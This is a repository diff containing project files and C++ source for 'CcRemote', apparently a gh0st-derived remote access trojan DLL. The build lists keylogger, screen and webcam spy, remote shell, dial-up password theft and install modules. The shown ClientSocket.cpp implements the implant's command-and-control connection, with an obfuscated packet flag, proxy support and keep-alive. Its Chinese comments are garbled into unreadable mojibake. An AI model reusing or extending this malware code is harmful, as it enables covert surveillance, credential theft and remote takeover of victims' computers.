</ClCompile>
<ClCompile Include="common\ScreenSpy.cpp">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="common\ServerManager.cpp">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="common\ShellManager.cpp">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="common\SystemManager.cpp">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="common\until.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
</ClCompile>
<ClCompile Include="common\VideoCap.cpp">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="common\VideoManager.cpp">
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="dllmain.cpp" />
<ClCompile Include="pch.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
</ClCompile>
<ClCompile Include="StrCry.cpp" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@@ -0,0 +1,177 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="源文件">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="头文件">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="资源文件">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClInclude Include="framework.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="pch.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="common\Buffer.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="common\until.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="ClientSocket.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="common\KernelManager.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="common\KeyboardManager.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="common\RegEditEx.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="common\Manager.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="common\SystemManager.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="common\AudioManager.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="..\..\common\Audio.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="common\Dialupass.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="common\filemanager.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="common\ScreenManager.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="common\ShellManager.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="common\ScreenSpy.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="common\VideoManager.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="common\VideoCap.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="DynamicAPI.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="common\install.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="StrCry.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="common\login.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="common\loop.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="..\..\common\zlib\zlib.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="common\ServerManager.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="common\RegeditOpt.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="common\RegManager.h">
<Filter>头文件</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="dllmain.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="pch.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="ClientSocket.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="common\Buffer.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="common\until.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="common\KeyboardManager.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="common\RegEditEx.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="common\SystemManager.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="common\AudioManager.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="..\..\common\Audio.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="common\Dialupass.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="common\FileManager.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="common\ScreenManager.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="common\ShellManager.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="common\ScreenSpy.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="common\VideoManager.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="common\VideoCap.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="common\install.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="common\KernelManager.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="common\Manager.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="StrCry.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="common\ServerManager.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="common\RegeditOpt.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="common\RegManager.cpp">
<Filter>源文件</Filter>
</ClCompile>
</ItemGroup>
</Project>

View File

@@ -0,0 +1,12 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LocalDebuggerCommand> ..\..\bin\server\TestLoadDll.exe</LocalDebuggerCommand>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LocalDebuggerCommand>C:\Windows\SysWOW64\rundll32.exe </LocalDebuggerCommand>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
<LocalDebuggerCommandArguments>F:\myapp\CcRemote\bin\server\CcMainDll.dll,MainRun</LocalDebuggerCommandArguments>
</PropertyGroup>
</Project>

View File

@@ -0,0 +1,541 @@
// ClientSocket.cpp: implementation of the CClientSocket class.
//
//////////////////////////////////////////////////////////////////////
#include "ClientSocket.h"
#include "../../common/zlib/zlib.h"
#include <process.h>
#include <MSTcpIP.h>
#include "common/Manager.h"
#include "common/until.h"
#pragma comment(lib, "ws2_32.lib")
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
int CClientSocket::m_nProxyType = PROXY_NONE;
char CClientSocket::m_strProxyHost[256] = { 0 };
UINT CClientSocket::m_nProxyPort = 1080;
char CClientSocket::m_strUserName[256] = { 0 };
char CClientSocket::m_strPassWord[256] = { 0 };
CClientSocket::CClientSocket()
{
//---<2D><>ʼ<EFBFBD><CABC><EFBFBD>׽<EFBFBD><D7BD><EFBFBD>
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 2), &wsaData);
m_hEvent = CreateEvent(NULL, true, false, NULL);
m_bIsRunning = false;
m_Socket = INVALID_SOCKET;
// Packet Flag;
char CcRmt[] = { 0x05,0x88,0xa9,0x9b,0xa5,0xb3 }; //CcRmt ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ <20><><EFBFBD><EFBFBD>gh0st<73><74><EFBFBD>ض<EFBFBD>Ҫһ<D2AA><D2BB>
char* pCcRmt = decodeStr(CcRmt); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
memcpy(m_bPacketFlag, pCcRmt, CcRmt[STR_CRY_LENGTH]);
memset(pCcRmt, 0, CcRmt[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
delete pCcRmt;
}
//---<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
CClientSocket::~CClientSocket()
{
m_bIsRunning = false;
WaitForSingleObject(m_hWorkerThread, INFINITE);
if (m_Socket != INVALID_SOCKET)
Disconnect();
CloseHandle(m_hWorkerThread);
CloseHandle(m_hEvent);
WSACleanup();
}
//---<2D><><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
bool CClientSocket::Connect(LPCTSTR lpszHost, UINT nPort)
{
// һ<><D2BB>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD>һ<EFBFBD>£<EFBFBD><C2A3><EFBFBD>Ȼsocket<65><74><EFBFBD>ľ<EFBFBD>ϵͳ<CFB5><CDB3>Դ
Disconnect();
// <20><><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD><EFBFBD>
ResetEvent(m_hEvent);
m_bIsRunning = false;//<2F><><EFBFBD><EFBFBD>״̬<D7B4><CCAC>
//<2F>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (m_nProxyType != PROXY_NONE && m_nProxyType != PROXY_SOCKS_VER4 && m_nProxyType != PROXY_SOCKS_VER5)
return false;
m_Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (m_Socket == SOCKET_ERROR)
{
return false;
}
hostent* pHostent = NULL;
if (m_nProxyType != PROXY_NONE)
pHostent = gethostbyname(m_strProxyHost);
else
pHostent = gethostbyname(lpszHost);
if (pHostent == NULL)
return false;
// <20><><EFBFBD><EFBFBD>sockaddr_in<69>
sockaddr_in ClientAddr;
ClientAddr.sin_family = AF_INET;
if (m_nProxyType != PROXY_NONE)
ClientAddr.sin_port = htons(m_nProxyPort);
else
ClientAddr.sin_port = htons(nPort);
ClientAddr.sin_addr = *((struct in_addr *)pHostent->h_addr);
if (connect(m_Socket, (SOCKADDR *)&ClientAddr, sizeof(ClientAddr)) == SOCKET_ERROR)
return false;
// <20><><EFBFBD><EFBFBD>Nagle<6C><EFBFBD>󣬶Գ<F3A3ACB6><D4B3><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӱ<EFBFBD><D3B0>
// The Nagle algorithm is disabled if the TCP_NODELAY option is enabled
// const char chOpt = 1;
// int nErr = setsockopt(m_Socket, IPPROTO_TCP, TCP_NODELAY, &chOpt, sizeof(char));
// <20><>֤socks5<73><35><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (m_nProxyType == PROXY_SOCKS_VER5 && !ConnectProxyServer(lpszHost, nPort))
{
return false;
}
// <20><><EFBFBD>ñ<EFBFBD><C3B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ƣ<EFBFBD><C6A3>Լ<EFBFBD><D4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʵ<EFBFBD><CAB5>
const char chOpt = 1; // True
// Set KeepAlive <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><>ֹ<EFBFBD><D6B9><EFBFBD><EFBFBD><EFBFBD>˲<EFBFBD><CBB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (setsockopt(m_Socket, SOL_SOCKET, SO_KEEPALIVE, (char *)&chOpt, sizeof(chOpt)) == 0)
{
// <20><><EFBFBD>ó<EFBFBD>ʱ<EFBFBD><CAB1>ϸ<EFBFBD><CFB8>Ϣ
tcp_keepalive klive;
klive.onoff = 1; // <20><><EFBFBD>ñ<EFBFBD><C3B1><EFBFBD>
klive.keepalivetime = 1000 * 60 * 3; // 3<><33><EFBFBD>ӳ<EFBFBD>ʱ Keep Alive
klive.keepaliveinterval = 1000 * 5; // <20><><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD>Ϊ5<CEAA><35> Resend if No-Reply
WSAIoctl
(
m_Socket,
SIO_KEEPALIVE_VALS,
&klive,
sizeof(tcp_keepalive),
NULL,
0,
(unsigned long *)&chOpt,
0,
NULL
);
}
m_bIsRunning = true;
//---<2D><><EFBFBD>ӳɹ<D3B3><C9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD> ת<><D7AA>WorkThread
m_hWorkerThread = (HANDLE)MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, (LPVOID)this, 0, NULL, true);
return true;
}
bool CClientSocket::ConnectProxyServer(LPCTSTR lpszHost, UINT nPort)
{
struct timeval tvSelect_Time_Out;
tvSelect_Time_Out.tv_sec = 3;
tvSelect_Time_Out.tv_usec = 0;
fd_set fdRead;
int nRet = SOCKET_ERROR;
char buff[600];
struct socks5req1 m_proxyreq1;
m_proxyreq1.Ver = PROXY_SOCKS_VER5;
m_proxyreq1.nMethods = 2;
m_proxyreq1.Methods[0] = 0;
m_proxyreq1.Methods[1] = 2;
send(m_Socket, (char *)&m_proxyreq1, sizeof(m_proxyreq1), 0);
struct socks5ans1 *m_proxyans1;
m_proxyans1 = (struct socks5ans1 *)buff;
memset(buff, 0, sizeof(buff));
FD_ZERO(&fdRead);
FD_SET(m_Socket, &fdRead);
nRet = select(0, &fdRead, NULL, NULL, &tvSelect_Time_Out);
if (nRet <= 0)
{
closesocket(m_Socket);
return false;
}
recv(m_Socket, buff, sizeof(buff), 0);
if (m_proxyans1->Ver != 5 || (m_proxyans1->Method != 0 && m_proxyans1->Method != 2))
{
closesocket(m_Socket);
return false;
}
if (m_proxyans1->Method == 2 && strlen(m_strUserName) > 0)
{
int nUserLen = strlen(m_strUserName);
int nPassLen = strlen(m_strPassWord);
struct authreq m_authreq;
memset(&m_authreq, 0, sizeof(m_authreq));
m_authreq.Ver = PROXY_SOCKS_VER5;
m_authreq.Ulen = nUserLen;
lstrcpy(m_authreq.NamePass, m_strUserName);
memcpy(m_authreq.NamePass + nUserLen, &nPassLen, sizeof(int));
lstrcpy(m_authreq.NamePass + nUserLen + 1, m_strPassWord);
int len = 3 + nUserLen + nPassLen;
send(m_Socket, (char *)&m_authreq, len, 0);
struct authans *m_authans;
m_authans = (struct authans *)buff;
memset(buff, 0, sizeof(buff));
FD_ZERO(&fdRead);
FD_SET(m_Socket, &fdRead);
nRet = select(0, &fdRead, NULL, NULL, &tvSelect_Time_Out);
if (nRet <= 0)
{
closesocket(m_Socket);
return false;
}
recv(m_Socket, buff, sizeof(buff), 0);
if (m_authans->Ver != 5 || m_authans->Status != 0)
{
closesocket(m_Socket);
return false;
}
}
hostent* pHostent = gethostbyname(lpszHost);
if (pHostent == NULL)
return false;
struct socks5req2 m_proxyreq2;
m_proxyreq2.Ver = 5;
m_proxyreq2.Cmd = 1;
m_proxyreq2.Rsv = 0;
m_proxyreq2.Atyp = 1;
m_proxyreq2.IPAddr = *(ULONG*)pHostent->h_addr_list[0];
m_proxyreq2.Port = ntohs(nPort);
send(m_Socket, (char *)&m_proxyreq2, 10, 0);
struct socks5ans2 *m_proxyans2;
m_proxyans2 = (struct socks5ans2 *)buff;
memset(buff, 0, sizeof(buff));
FD_ZERO(&fdRead);
FD_SET(m_Socket, &fdRead);
nRet = select(0, &fdRead, NULL, NULL, &tvSelect_Time_Out);
if (nRet <= 0)
{
closesocket(m_Socket);
return false;
}
recv(m_Socket, buff, sizeof(buff), 0);
if (m_proxyans2->Ver != 5 || m_proxyans2->Rep != 0)
{
closesocket(m_Socket);
return false;
}
return true;
}
//<2F><><EFBFBD><EFBFBD><EFBFBD>̣߳<DFB3><CCA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>thisָ<73><D6B8>
DWORD WINAPI CClientSocket::WorkThread(LPVOID lparam)
{
CClientSocket *pThis = (CClientSocket *)lparam;
char buff[MAX_RECV_BUFFER]; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ܳ<EFBFBD><DCB3>ȣ<EFBFBD><C8A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڷ<EFBFBD><DAB7><EFBFBD><EFBFBD>˺Ϳ<CBBA><CDBF>ƶ˹<C6B6><CBB9>еİ<D0B5><C4B0><EFBFBD><EFBFBD>ļ<EFBFBD>macros.h<><68>
fd_set fdSocket;
FD_ZERO(&fdSocket);
FD_SET(pThis->m_Socket, &fdSocket);
while (pThis->IsRunning()) //---<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض<EFBFBD> û<><C3BB><EFBFBD>˳<EFBFBD><CBB3><EFBFBD><EFBFBD><EFBFBD>һֱ<D2BB><D6B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѭ<EFBFBD><D1AD><EFBFBD>У<EFBFBD><D0A3>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӵ<EFBFBD>״̬
{
fd_set fdRead = fdSocket;
int nRet = select(NULL, &fdRead, NULL, NULL, NULL); //---<2D><><EFBFBD><EFBFBD><EFBFBD>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7>Ͽ<EFBFBD><CFBF><EFBFBD><EFBFBD><EFBFBD>
if (nRet == SOCKET_ERROR)
{
pThis->Disconnect();//<2F>Ͽ<EFBFBD><CFBF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
break;
}
if (nRet > 0)
{
memset(buff, 0, sizeof(buff));
int nSize = recv(pThis->m_Socket, buff, sizeof(buff), 0); //---<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (nSize <= 0)
{
pThis->Disconnect();//---<2D><><EFBFBD>մ<EFBFBD><D5B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
break;
}
if (nSize > 0) pThis->OnRead((LPBYTE)buff, nSize); //---<2D><>ȷ<EFBFBD><C8B7><EFBFBD>վ͵<D5BE><CDB5><EFBFBD> OnRead<61><64><EFBFBD><EFBFBD> ת<><D7AA>OnRead
}
}
return -1;
}
void CClientSocket::run_event_loop()
{
WaitForSingleObject(m_hEvent, INFINITE);
}
bool CClientSocket::IsRunning()
{
return m_bIsRunning;
}
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ܵ<EFBFBD><DCB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
void CClientSocket::OnRead(LPBYTE lpBuffer, DWORD dwIoSize)
{
try
{
if (dwIoSize == 0)
{
Disconnect(); //---<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
return;
}
//---<2D><><EFBFBD>ݰ<EFBFBD><DDB0><EFBFBD><EFBFBD><EFBFBD> Ҫ<><D2AA><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7><EFBFBD>
if (dwIoSize == FLAG_SIZE && memcmp(lpBuffer, m_bPacketFlag, FLAG_SIZE) == 0)
{
// <20><><EFBFBD>·<EFBFBD><C2B7><EFBFBD>
Send(m_ResendWriteBuffer.GetBuffer(), m_ResendWriteBuffer.GetBufferLen());
return;
}
// Add the message to out message
// Dont forget there could be a partial, 1, 1 or more + partial mesages
m_CompressionBuffer.Write(lpBuffer, dwIoSize);
// Check real Data
//--- <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7>С <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǾͲ<C7BE><CDB2><EFBFBD><EFBFBD><EFBFBD>ȷ<EFBFBD><C8B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
while (m_CompressionBuffer.GetBufferLen() > HDR_SIZE)
{
BYTE bPacketFlag[FLAG_SIZE];
CopyMemory(bPacketFlag, m_CompressionBuffer.GetBuffer(), sizeof(bPacketFlag));
//---<2D>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD>ͷ <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><ECBAAF><EFBFBD><EFBFBD> ccrem <20><><EFBFBD>ض<EFBFBD><D8B6>е<EFBFBD>
if (memcmp(m_bPacketFlag, bPacketFlag, sizeof(m_bPacketFlag)) != 0)
throw "bad buffer";
int nSize = 0;
CopyMemory(&nSize, m_CompressionBuffer.GetBuffer(FLAG_SIZE), sizeof(int));
//--- <20><><EFBFBD>ݵĴ<DDB5>С<EFBFBD><D0A1>ȷ<EFBFBD>ж<EFBFBD>
if (nSize && (m_CompressionBuffer.GetBufferLen()) >= nSize)
{
int nUnCompressLength = 0;
//---<2D>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// Read off header
m_CompressionBuffer.Read((PBYTE)bPacketFlag, sizeof(bPacketFlag));
m_CompressionBuffer.Read((PBYTE)&nSize, sizeof(int));
m_CompressionBuffer.Read((PBYTE)&nUnCompressLength, sizeof(int));
////////////////////////////////////////////////////////
////////////////////////////////////////////////////////
// SO you would process your data here
//
// I'm just going to post message so we can see the data
int nCompressLength = nSize - HDR_SIZE;
PBYTE pData = new BYTE[nCompressLength];
PBYTE pDeCompressionData = new BYTE[nUnCompressLength];
if (pData == NULL || pDeCompressionData == NULL)
throw "bad Allocate";
m_CompressionBuffer.Read(pData, nCompressLength);
//////////////////////////////////////////////////////////////////////////
// <20><><EFBFBD>ǽ<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD>ݿ<EFBFBD><DDBF><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>½<EFBFBD><C2BD><EFBFBD>
unsigned long destLen = nUnCompressLength;
int nRet = uncompress(pDeCompressionData, &destLen, pData, nCompressLength);
//////////////////////////////////////////////////////////////////////////
if (nRet == Z_OK)//---<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD>ɹ<EFBFBD>
{
m_DeCompressionBuffer.ClearBuffer();
m_DeCompressionBuffer.Write(pDeCompressionData, destLen);
//<2F><><EFBFBD><EFBFBD> m_pManager->OnReceive<76><65><EFBFBD><EFBFBD> ת<><D7AA>m_pManager <20><><EFBFBD><EFBFBD>
m_pManager->OnReceive(m_DeCompressionBuffer.GetBuffer(0), m_DeCompressionBuffer.GetBufferLen());
}
else
throw "bad buffer";
delete[] pData;
delete[] pDeCompressionData;
}
else
break;
}
}
catch (...)
{
m_CompressionBuffer.ClearBuffer();
Send(NULL, 0);
}
}
//ȡ<><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
void CClientSocket::Disconnect()
{
// If we're supposed to abort the connection, set the linger value
// on the socket to 0.
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA>ֹ<EFBFBD><D6B9><EFBFBD>ӣ<EFBFBD><D3A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>lingerֵ
LINGER lingerStruct;
lingerStruct.l_onoff = 1;
lingerStruct.l_linger = 0;
/*<2A><><EFBFBD><EFBFBD><EFBFBD>׽<EFBFBD>ѡ<EFBFBD><D1A1>
setsockopt(
int socket, // <20><><EFBFBD><EFBFBD>socket<65><74><EFBFBD>׽<EFBFBD><D7BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int level, // <20>ڶ<EFBFBD><DAB6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>level<65>DZ<EFBFBD><C7B1><EFBFBD><EFBFBD>õ<EFBFBD>ѡ<EFBFBD><D1A1><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD>׽<EFBFBD><D7BD>ּ<EFBFBD><D6BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѡ<EFBFBD><EFBFBD>ͱ<EFBFBD><CDB1><EFBFBD><EFBFBD><EFBFBD>level<65><6C><EFBFBD><EFBFBD>Ϊ SOL_SOCKET
int option_name, // option_nameָ<65><D6B8>׼<EFBFBD><D7BC><EFBFBD><EFBFBD><EFBFBD>õ<EFBFBD>ѡ<EFBFBD><EFBFBD><EEA3AC>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>level
// SO_LINGER<45><52><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1><EFBFBD><EFBFBD>ѡ<EFBFBD><D1A1>, close<73><65> shutdown<77><6E><EFBFBD>ȵ<EFBFBD><C8B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>׽<EFBFBD><D7BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŷӵ<C5B6><D3B5><EFBFBD>Ϣ<EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD>ͻ򵽴<CDBB><F2B5BDB4>ӳ<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD>Ż᷵<C5BB><E1B7B5>. <20><><EFBFBD><EFBFBD>, <20><><EFBFBD>ý<EFBFBD><C3BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ء<EFBFBD>
